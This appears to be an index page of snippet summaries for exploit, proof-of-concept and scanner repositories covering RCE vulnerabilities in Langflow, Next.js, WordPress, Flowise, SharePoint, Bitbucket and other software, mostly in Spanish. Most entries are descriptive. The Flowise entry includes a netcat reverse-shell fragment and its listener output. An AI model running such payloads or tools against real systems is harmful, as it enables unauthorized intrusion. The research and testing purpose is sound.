Langflow-cve-2026-33017-exploit

Marco de explotación RCE de Langflow CVE-2026-33017 · Pruebas de seguridad autorizadas para ejecución remota de código en Langflow Herramienta de investigación y equipo rojo para validar CVE-2026-33017 en instancias de Langflow que esté explícitamente autorizado a evaluar. No para uso no...

CVE-2024-13985

CVE-2024-13985 — Ejecución remota de código en Dahua EIMS capturehandle.action Tipo de aviso: Divulgación de seguridad coordinada con el proveedor · Explotación activa reportada ID CVE: CVE-2024-13985 ID CNVD: CNVD-2024-17054 Proveedor: Zhejiang Dahua Technology Co., Ltd. Producto: EIMS Enterpris...

react2shell-exploit

🐺 React2Shell-Exploit-Kensei CVE-2025-55182 - Next.js RCE Remote Code Execution Exploit framework + vulnerable lab + Burp Suite & Nuclei validation. Complete exploitation framework and vulnerable lab environment for security research and penetration testing. root@kitploit:...

heroku-CVE-2013-0333

heroku-CVE-2013-0333 Inspecciona todas tus aplicaciones de heroku para ver si están ejecutando una versión vulnerable de Rails Antecedentes Se ha encontrado una grave vulnerabilidad de seguridad en el framework Ruby on Rails. Este exploit afecta a casi todas las aplicaciones que ejecutan las...

primefaces

De la Mesa al Código: Un Viaje a Través de la Vulnerabilidad RCE en POS para Restaurantes En esta oportunidad nos encontramos por casualidad con una vulnerabilidad presente en varias aplicaciones de POS para restaurantes XETUX, la cual es una solución para monitoreo y automatización de...

check-react-rce-cve-2025-55182

Escáner de Vulnerabilidad RCE en React CVE-2025-55182 Una herramienta completa de escaneo de seguridad para detectar las vulnerabilidades CVE-2025-55182 y CVE-2025-66478 en proyectos React y Next.js que utilizan React Server Components RSC. 🚨 Descripción general Esta herramienta escanea tu proyec...

wp2shell-poc-fulljs

Demostración del flujo lógico de CVE de WordPress Descripción general Este proyecto permite reproducir el flujo lógico relacionado con CVE-2026-63030 y CVE-2026-60137 que conduce a una inyección SQL que sirve como base para finalmente desencadenar un RCE en WordPress. CVE-2026-63030 CVE-2026-6013...

CVE-2025-32434

CVE-2025-32434: Vulnerabilidad RCE en PyTorch - PoC ¿Qué es CVE-2025-32434? CVE-2025-32434 es una vulnerabilidad crítica de Ejecución Remota de Código RCE en PyTorch, una biblioteca de Python ampliamente utilizada para aprendizaje profundo y redes neuronales. El Problema Principal La vulnerabilid...

CVE-2026-0740

CVE-2026-0740 Ninja Forms File Uploads = 3.3.26 - Subida de archivos arbitraria no autenticada a RCE Exploit para CVE-2026-0740 descubierta por Selim Lanouar whattheslime. Para una inmersión técnica completa, lea el artículo completo en el blog de Lexfo. Descargo de responsabilidad Este repositor...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE Authenticated RCE PoC for Flowise version &1|nc 10.10.15.200 443 /tmp/f' Check the listener and it should work: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off...

CVE-2017-8046

DESCARGO DE RESPONSABILIDAD: Este repositorio es complementario al artículo del blog de VGS, Cómo evitar "usar componentes con vulnerabilidades conocidas". Contiene una aplicación con una vulnerabilidad de seguridad conocida concretamente, CVE-2017-8046, así como la descripción de cómo explotarla...

cve-2019-13132-lab

CVE-2019-13132 — desbordamiento de pila en CURVE INITIATE de libzmq → laboratorio RCE Exploit RCE funcional de extremo a extremo + laboratorio reproducible para CVE-2019-13132 , un desbordamiento de búfer de pila en el manejador del handshake CURVE INITIATE de libzmq. Un atacante que conozca la...

CVE-2024-4309-Analysis

🛡️ CVE-2024-4309 Xiaomi HyperOS System Updater — OTA Signature Verification Bypass & RCE...

CVE-2026-45659

CVE-2026-45659 La deserialización de datos no confiables en Microsoft Office SharePoint permite a un atacante autorizado ejecutar código a través de la red. ⚡ Uso simple Use este proyecto solo en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Configuraciones ...

React2Shell-PoC

React2Shell-PoC A proof-of-concept exploit for CVE-2025-55182 and CVE-2025-66478 , critical Remote Code Execution vulnerabilities in React Server Components RSC and Next.js applications. Overview React2Shell demonstrates the exploitation of unsafe deserialization in Next.js server action handlers...

CVE-2026-63030

🚨 CVE-2026-63030 — WP2Shell WordPress REST API Route Confusion → Remote Code Execution A Critical WordPress Core vulnerability enabling REST API route confusion that can be chained with SQL Injection to achieve unauthenticated Remote Code Execution. 📖 Overview...

Nextjs_Exploit_Tool

Next.js RSC RCE Exploit Tool CVE-2025-55182 Introducción del proyecto CVE-2025-55182 es una vulnerabilidad de alto riesgo presente en la cadena de procesamiento de los componentes del servidor RSC de Next.js. Mediante la construcción de solicitudes especiales multipart/form-data y bloques de...

CVE-2020-5245

CVE-2020-5245 1. Ejecuta mvn clean install para compilar tu aplicación 2. Inicia la aplicación con java -jar target/dropwizard-1.0-SNAPSHOT.jar server config.yml 3. Para comprobar que tu aplicación se está ejecutando, introduce la url http://localhost:8080 algún error en pom.xml los plugins no se...

CVE-2022-36804

CVE-2022-36804 Los componentes de Bitbucket Server y Bitbucket Data Center tienen una vulnerabilidad de inyección de comandos, según información descubierta recientemente por el equipo de seguridad de Sangfor. Un atacante puede enviar solicitudes HTTP maliciosas para ejecutar código arbitrario y...

CVE-2021-39115

CVE-2021-39115 Template Injection in Email Templates leads to code execution on Jira Service Management Server I Building I have provided a guide for deployment + debug here, you can refer to it. II Analysis The Description of this CVE already clearly states that the bug lies in the Email Templat...